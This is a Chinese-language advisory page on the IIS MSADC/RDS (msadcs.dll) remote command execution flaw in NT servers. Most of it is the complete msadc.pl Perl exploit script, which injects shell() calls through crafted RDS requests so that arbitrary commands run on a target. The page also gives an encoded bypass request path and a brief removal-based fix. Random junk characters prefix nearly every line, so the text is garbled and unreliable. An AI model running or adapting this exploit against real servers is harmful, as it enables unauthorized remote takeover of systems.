IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
47T}0q , V=:_ d, 涉及程序：
pNE(n4v Microsoft NT server
~/tKMS6T }p9F#gr 描述：
s F+=KH 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
#DkD!dW(l ;bX4(CMe
& 详细：
H2-28XGc 如果你没有时间读详细内容的话，就删除:
oAZh~~tp c:\Program Files\Common Files\System\Msadc\msadcs.dll
te4= S
有关的安全问题就没有了。
VRW] a AP\ofLmq 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
v1.q$ f^( vG2b:[W 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
<39!G7ny 关于利用ODBC远程漏洞的描述，请参看:
lKEa)KF[ Y#01o&f0n http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 8 )\M:s~7& qOG}[%<^n7 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
[W,-1.$!dM http://www.microsoft.com/security/bulletins/MS99-025faq.asp n|4;Hn1V r++i=SQax 这里不再论述。
:<~7y.*O{ ~mN% (w!^ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
)J3kxmlzQ ".~ {:= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
qsg>5 E 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
!)Rr]
~ [Id}4[={e IGAzE( #将下面这段保存为txt文件，然后: "perl -x 文件名"
n`;R p r& O:.,+,BH #!perl
T_OF7? #
,c)g,J9 # MSADC/RDS 'usage' (aka exploit) script
}o9 Aa0$*$ #
]9S`[c$ # by rain.forest.puppy
S C_|A9 #
Ca $c; # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
RwTzz]
M # beta test and find errors!
5`E))?*"Pe \T-~JQVj use Socket; use Getopt::Std;
`HX3|w6W; getopts("e:vd:h:XR", \%args);
[D'Gr*5~{ 3LlU ] print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
px9>:t[P 2go> if (!defined $args{h} && !defined $args{R}) {
f e
$Wu print qq~
o VB"f Usage: msadc.pl -h <host> { -d <delay> -X -v }
b5e@oIK -h <host> = host you want to scan (ip or domain)
ui BTnG" -d <seconds> = delay between calls, default 1 second
M'1HA -X = dump Index Server path table, if available
:nQp.N*p -v = verbose
RFG$X-.e -e = external dictionary file for step 5
"6I[4U"@ C 7n Kk/r Or a -R will resume a command session
!g 0cC.' XSB8z
~; exit;}
?( im+2 iY.eJlfH $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
KC&`x | if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
+|C[-W7Sw if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
:J(sXKr[C if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
{&nV4c$v $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\/Ij7nD`l% if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
MMD<I6Iyv zd`=Ih2Wx if (!defined $args{R}){ $ret = &has_msadc;
~/`X*n& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?B4#f!X SQKt}kDbM print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=2oUZjA . "cmd /c ";
D&[Z;,CHMA $in=<STDIN>; chomp $in;
FpkXOj?* $command="cmd /c " . $in ;
U7%28#@ 4=p@2g2 "H if (defined $args{R}) {&load; exit;}
M g!ra" Y5jYmP< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
If}lJ6jZ &try_btcustmr;
;1LG&h,K U4wpjHg print "\nStep 2: Trying to make our own DSN...";
i;lE5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&jJc kT =FBIrw{w print "\nStep 3: Trying known DSNs...";
6f}e+ 80 &known_dsn;
)DZTB 1-$P0 print "\nStep 4: Trying known .mdbs...";
Tj,2r]g`< &known_mdb;
,ZK]i CGk b]`^KTYK if (defined $args{e}){
Jqg3 .2q print "\nStep 5: Trying dictionary of DSN names...";
aW@oE
~` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
PqhlXqX9 A ^B@VuK print "Sorry Charley...maybe next time?\n";
s -Y +x exit;
A! ;meVUs MCAXt1sL&E ##############################################################################
Wg1 tip8s #S i|! sub sendraw { # ripped and modded from whisker
3Hm7
uBZ sleep($delay); # it's a DoS on the server! At least on mine...
caD5Pod4 my ($pstr)=@_;
,35Ag#va socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
zPQ$\$7xB die("Socket problems\n");
om7`w
] if(connect(S,pack "SnA4x8",2,80,$target)){
D9ywg/Q91 select(S); $|=1;
bhKV +oN print $pstr; my @in=<S>;
slSR=XOG select(STDOUT); close(S);
%UmbDGDWI return @in;
lCE2SKj
} else { die("Can't connect...\n"); }}
h>tsis'N9 FR' b `Xv: ##############################################################################
_5h0@^m7y p#M!S2&z sub make_header { # make the HTTP request
3o7xN=N my $msadc=<<EOT
B&nw#saz. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Ai jUs*n 2 User-Agent: ACTIVEDATA
:bw 6 k Host: $ip
3"B+xbe= Content-Length: $clen
'
C6:e?R Connection: Keep-Alive
U$$3 'n 8D T@h8tA ADCClientVersion:01.06
?zE< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4[H,3}p9H jf7pl8gv --!ADM!ROX!YOUR!WORLD!
Y\>\[*.v Content-Type: application/x-varg
!47A$sQ
Content-Length: $reqlen
'WzUu MCx ;8EjjF [> EOT
) ]]|d ; $msadc=~s/\n/\r\n/g;
U$EM.ot return $msadc;}
< tQXK; 83xd@-czgh ##############################################################################
z9fNk% n 8?KSQy$ sub make_req { # make the RDS request
Hf.xd.Yw my ($switch, $p1, $p2)=@_;
7 FIF St my $req=""; my $t1, $t2, $query, $dsn;
,^!Zm^4, />!!ch if ($switch==1){ # this is the btcustmr.mdb query
9rWLE6 ` $query="Select * from Customers where City=" . make_shell();
*lY +Yy( $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
)x9]xqoR $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
iDR6?f P oP,RlR elsif ($switch==2){ # this is general make table query
Ebbe=4 $query="create table AZZ (B int, C varchar(10))";
]kH}lr
yG $dsn="$p1";}
;<VR2U` i/M+t~ elsif ($switch==3){ # this is general exploit table query
"9 u-lcQ\
$query="select * from AZZ where C=" . make_shell();
67,3i~ $dsn="$p1";}
m^c%]5$ KY 8^BjY@ elsif ($switch==4){ # attempt to hork file info from index server
= jBL'|k5 $query="select path from scope()";
~W /}:;
$dsn="Provider=MSIDXS;";}
Bx%=EN5. eAU"fu6d elsif ($switch==5){ # bad query
<M`-`v6H $query="select";
"j
+v,js $dsn="$p1";}
Q+/R
JM?3@ hF9B?@n?B $t1= make_unicode($query);
1 S^'C2/b $t2= make_unicode($dsn);
,^M]yr*~ $req = "\x02\x00\x03\x00";
Q{`@
G"' $req.= "\x08\x00" . pack ("S1", length($t1));
`lvh\[3^ $req.= "\x00\x00" . $t1 ;
s V&`0N $req.= "\x08\x00" . pack ("S1", length($t2));
&8juS ,b $req.= "\x00\x00" . $t2 ;
u q]iMz> $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
4=UI3 2v3 return $req;}
w8U2y/:> <xC : Ant ##############################################################################
-D$3!ccX F1/6&u 9I sub make_shell { # this makes the shell() statement
4g S[D return "'|shell(\"$command\")|'";}
7!mJhgGc a'm!M:w ##############################################################################
Age-AJ - =yTAx sub make_unicode { # quick little function to convert to unicode
DwT i_8m; my ($in)=@_; my $out;
\v.HG]
/u for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
_82<| NN: return $out;}
IZ|c <#r6 dV$3u"9 ##############################################################################
"C?:T'dW rkbl/py sub rdo_success { # checks for RDO return success (this is kludge)
G) jG!`I my (@in) = @_; my $base=content_start(@in);
[6 oq# # if($in[$base]=~/multipart\/mixed/){
IBzHR[#,^ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
O5c_\yv= return 0;}
jDFp31_X J,6!7a ##############################################################################
Bfu/9ad
> _n:_ sub make_dsn { # this makes a DSN for us
4b] IazL) my @drives=("c","d","e","f");
9F/|` print "\nMaking DSN: ";
1g+LF[*-~ foreach $drive (@drives) {
(tgEa{rPAP print "$drive: ";
WvIK=fdZ$ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
x0y% \ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
cvn- *Sj . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
(}VuiNY< 3 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
U[blq
M return 0 if $2 eq "404"; # not found/doesn't exist
@F>[DW]O if($2 eq "200") {
nm<L&11 foreach $line (@results) {
qT
5Wa O) return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
#}nBS- + } return 0;}
J!ln=h |Tj`qJGVw ##############################################################################
@+[Y0_ 9Kq<\"7Bmz sub verify_exists {
2#,8evH my ($page)=@_;
=mDy@%yx! my @results=sendraw("GET $page HTTP/1.0\n\n");
IJ+O),' return $results[0];}
~ :R4))qpg -t;?P2 ##############################################################################
\CP*i _:" Oz_b3 r sub try_btcustmr {
B/kcb(5v my @drives=("c","d","e","f");
&3!i@2d;3f my @dirs=("winnt","winnt35","winnt351","win","windows");
Xcs8zT :d, >d foreach $dir (@dirs) {
oiIt3<BX print "$dir -> "; # fun status so you can see progress
-i| /JH foreach $drive (@drives) {
V6A5(-%`y print "$drive: "; # ditto
+#&el// $reqlen=length( make_req(1,$drive,$dir) ) - 28;
O@G<B8U,K $reqlenlen=length( "$reqlen" );
1uKD&k%q $clen= 206 + $reqlenlen + $reqlen;
6nM
rO$i0k _SU,f> my @results=sendraw(make_header() . make_req(1,$drive,$dir));
lr)G:I# | if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
$IZ *|>( else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
M80}3mgP~ _Y} ^%eFw ##############################################################################
?z*W8b]' j 8~Gv=(h sub odbc_error {
}])G Q@ my (@in)=@_; my $base;
O ~7p^i} my $base = content_start(@in);
>$d d 9|[ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
J@=!w[ v+ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$`cy'ZaF $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s|Im z<IE $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{X{01j};8 return $in[$base+4].$in[$base+5].$in[$base+6];}
%Z-Tb OX print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Yj|c+&Ng print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
&lO Xi?&" $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
D 3,t6\m w*]_FqE ##############################################################################
@]}Qh;a~ 3hp
tP sub verbose {
P}w^9=;S my ($in)=@_;
$Qx(aWE0 return if !$verbose;
Q*TQ*J7".X print STDOUT "\n$in\n";}
]~4}(\u 0TuNA\Ug+ ##############################################################################
b}"vI Rz XFLjVrX[ sub save {
:Kt{t46) my ($p1, $p2, $p3, $p4)=@_;
*J*zml3 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
;h*"E(P p print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
)o}=z\M-bN close OUT;}
uC <|T gu~-} ##############################################################################
/i7>&ND.r EX[l0]fj sub load {
v= 8~ZDY my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
x_>"Rnv:K open(IN,"<rds.save") || die("Couldn't open rds.save\n");
C5W- B8> @p=<IN>; close(IN);
O V0 cr $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
dNS9<8JX $target= inet_aton($ip) || die("inet_aton problems");
R[2 [[M print "Resuming to $ip ...";
'Gm!Jblo@ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
K~9 jin if($p[1]==1) {
r' 97\| $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
r( `8A:#d $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
jHUz`.8B my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
:Kt mSY if (rdo_success(@results)){print "Success!\n";}
c qU$gKT else { print "failed\n"; verbose(odbc_error(@results));}}
1bFEx_ elsif ($p[1]==3){
H f`&& if(run_query("$p[3]")){
l.Lc]Z pB print "Success!\n";} else { print "failed\n"; }}
{#d`&] elsif ($p[1]==4){
p]J]<QaZD if(run_query($drvst . "$p[3]")){
Cys/1DkE print "Success!\n"; } else { print "failed\n"; }}
=#PudF.\ exit;}
0(.R?1*:Rf .5$V7t.t$\ ##############################################################################
N-_| %C-. g*\v}6
h sub create_table {
pB{ f-M:D my ($in)=@_;
b_"V%<I $reqlen=length( make_req(2,$in,"") ) - 28;
|<5J $reqlenlen=length( "$reqlen" );
~T{d9yNW1 $clen= 206 + $reqlenlen + $reqlen;
UVvt&=+ 4 my @results=sendraw(make_header() . make_req(2,$in,""));
_s =Pk[e return 1 if rdo_success(@results);
ZS
7)(j$. my $temp= odbc_error(@results); verbose($temp);
))we\I__8 return 1 if $temp=~/Table 'AZZ' already exists/;
5,I*F9[3 return 0;}
u]+ +&~i Vo58Nz:% ##############################################################################
q0xE&[C [M Lu u-c<*M sub known_dsn {
wMR[*I/ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
R?FtncL%D my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
YP@ ?j "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
CH|g "banner", "banners", "ads", "ADCDemo", "ADCTest");
N'q/7jO y u6CM RZ$ foreach $dSn (@dsns) {
zv3<i ( print ".";
4<!}4 next if (!is_access("DSN=$dSn"));
yO69p if(create_table("DSN=$dSn")){
Zzzi\5&gU print "$dSn successful\n";
iJ~iJ'vf if(run_query("DSN=$dSn")){
8Gzs print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=z7 Ay print "Something's borked. Use verbose next time\n";}}} print "\n";}
/E1c#@ v \L Ip ##############################################################################
EXScqGa] OYCF x2{ sub is_access {
,4?| }xg my ($in)=@_;
YfYL?G $reqlen=length( make_req(5,$in,"") ) - 28;
u8)r
W $reqlenlen=length( "$reqlen" );
<\#
$clen= 206 + $reqlenlen + $reqlen;
^SelqX my @results=sendraw(make_header() . make_req(5,$in,""));
6!Ap;O^* my $temp= odbc_error(@results);
yW7S
}I verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Y)-)NLLG;n return 0;}
#' {PY r laIC}! ##############################################################################
`5aypJf 1 eWt>^]H~ sub run_query {
\6PIw-) my ($in)=@_;
2%, ' }Bus $reqlen=length( make_req(3,$in,"") ) - 28;
mZ.6Njb $reqlenlen=length( "$reqlen" );
"{1} $clen= 206 + $reqlenlen + $reqlen;
fCo2".Tk my @results=sendraw(make_header() . make_req(3,$in,""));
r E *u return 1 if rdo_success(@results);
c`[uQXv my $temp= odbc_error(@results); verbose($temp);
(/UMi,Ho return 0;}
>ww1:Sn R^w >aZ oJ ##############################################################################
3t}o0Ai9 >w2Wy YJYH sub known_mdb {
MjeI?k}LJ my @drives=("c","d","e","f","g");
'jO-e^qT my @dirs=("winnt","winnt35","winnt351","win","windows");
u\\niCNA my $dir, $drive, $mdb;
)^a#Xn3z my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[/`Hz]R _TeRsA # this is sparse, because I don't know of many
iPi'5g(a my @sysmdbs=( "\\catroot\\icatalog.mdb",
%QcG^R "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
D T~y ^h "\\system32\\certmdb.mdb",
\< +47+ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
pHbguoH, Q,+*u%/u my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Gt *<? "\\cfusion\\cfapps\\forums\\forums_.mdb",
,'0oj$~S: "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Yoym5<xE "\\cfusion\\cfapps\\security\\realm_.mdb",
T;e (Q,!H "\\cfusion\\cfapps\\security\\data\\realm.mdb",
$ {H&Q* "\\cfusion\\database\\cfexamples.mdb",
(~yJce "\\cfusion\\database\\cfsnippets.mdb",
J ##X5'a3* "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
XhkL)) FcG "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
(E] K)d "\\cfusion\\brighttiger\\database\\cleam.mdb",
IpVwn Nj!} "\\cfusion\\database\\smpolicy.mdb",
[A/ +tv "\\cfusion\\database\cypress.mdb",
Gb) iB "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
U d? d. "\\website\\cgi-win\\dbsample.mdb",
mI*>7? "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
vxfh1B& "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
<'yC:HeAwD ); #these are just
gKH"f% lK foreach $drive (@drives) {
GHrT?zEX foreach $dir (@dirs){
,oVBgCf foreach $mdb (@sysmdbs) {
S:T>oFUot print ".";
iPL'JVPZ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
K%#C+`Ij print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
=-& iF if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
&:{yf= print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
CAObC% } else { print "Something's borked. Use verbose next time\n"; }}}}}
,> E Y9j " 4- Nnm foreach $drive (@drives) {
l.'E\3Bo foreach $mdb (@mdbs) {
#NxvLW/ print ".";
*y@]zN PD if(create_table($drv . $drive . $dir . $mdb)){
hLA=7 print "\n" . $drive . $dir . $mdb . " successful\n";
v=^)`C6Ma if(run_query($drv . $drive . $dir . $mdb)){
yxq!. 72 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
h | } else { print "Something's borked. Use verbose next time\n"; }}}}
8o!^ZOmU< }
y#W8] <dS" :fQ*'m, ##############################################################################
~./u0E \crmNH)3 sub hork_idx {
X-WvKH(=w print "\nAttempting to dump Index Server tables...\n";
fmyS#
6" print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
R ^C;D 2 $reqlen=length( make_req(4,"","") ) - 28;
8+b3u05 $reqlenlen=length( "$reqlen" );
r_CN/ a $clen= 206 + $reqlenlen + $reqlen;
v~=ol8J
B my @results=sendraw2(make_header() . make_req(4,"",""));
eEFT(e5.>3 if (rdo_success(@results)){
`Wt~6D
e my $max=@results; my $c; my %d;
Z
' 96d for($c=19; $c<$max; $c++){
Q%h
o[KU $results[$c]=~s/\x00//g;
"N"k8,LH $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
_Dt TG<E $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
[vT,zM
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
N8Q{ 4c $d{"$1$2"}="";}
=!Cvu.~}, foreach $c (keys %d){ print "$c\n"; }
]8z6gDp } else {print "Index server doesn't seem to be installed.\n"; }}
`Hu ;Gdj= M|u5Vs1 ##############################################################################
?5M2DLh~ YZJP7nN sub dsn_dict {
RH 0a\RC!G open(IN, "<$args{e}") || die("Can't open external dictionary\n");
`215Llzk; while(<IN>){
he6)
L6T $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Ct3 3S+y next if (!is_access("DSN=$dSn"));
j;vaNg|vQ if(create_table("DSN=$dSn")){
5~5ypQj print "$dSn successful\n";
?' :'zT if(run_query("DSN=$dSn")){
t;6/bT- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
>b${rgCvQ print "Something's borked. Use verbose next time\n";}}}
tq93 2M4 print "\n"; close(IN);}
M_uij$1- \ 'b- ;exH ##############################################################################
c9k,D c B75SLK:h= sub sendraw2 { # ripped and modded from whisker
c9={~ sleep($delay); # it's a DoS on the server! At least on mine...
Q&;qFv5-l my ($pstr)=@_;
tr+~@]I + socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~+ur*3 X die("Socket problems\n");
/PS]AM if(connect(S,pack "SnA4x8",2,80,$target)){
0:S)2"I58p print "Connected. Getting data";
j+_75t`AZ open(OUT,">raw.out"); my @in;
Un+Jz
?Y select(S); $|=1; print $pstr;
r4zS, J;, while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
GT0 'b ge close(OUT); select(STDOUT); close(S); return @in;
|U0@(H
} else { die("Can't connect...\n"); }}
9_ $Odc%] `Nr7N#g+u ##############################################################################
Qgi: q " +_0idpF sub content_start { # this will take in the server headers
tx -bz Lo\ my (@in)=@_; my $c;
osI(g'Xb for ($c=1;$c<500;$c++) {
Grv| Wuli if($in[$c] =~/^\x0d\x0a/){
m#p^'}]!; if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
D.f=!rT7E7 else { return $c+1; }}}
wxrT(x| return -1;} # it should never get here actually
Reo0ZU> YO61 pZY ##############################################################################
aT[7L9Cw Czn7,KE8X sub funky {
$r_ gFv my (@in)=@_; my $error=odbc_error(@in);
g#*N@83C if($error=~/ADO could not find the specified provider/){
aKO@_R,: print "\nServer returned an ADO miscofiguration message\nAborting.\n";
VVOt %d exit;}
2e=Hjf
)
if($error=~/A Handler is required/){
C]cw@ :o% print "\nServer has custom handler filters (they most likely are patched)\n";
>i<-rO>kN exit;}
9x\G(w if($error=~/specified Handler has denied Access/){
@TDcj~oR ? print "\nServer has custom handler filters (they most likely are patched)\n";
FT=>haN exit;}}
3dLz =.=)' '@P[fS Q ##############################################################################
i&KODhMpP ! 8].Z"5J sub has_msadc {
p,/^x ~m3a my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
bHM
.&4G
my $base=content_start(@results);
yuB BO:\. return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
C~*m&,@TT^ return 0;}
6iC:l%|u h'+ s wPh ########################
}rZp(FG@* g<Xwk2_=g ,5 ,4 Qf 7 解决方案：
Tc :`TE=2 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
AJ mzg 2、移除web 目录: /msadc
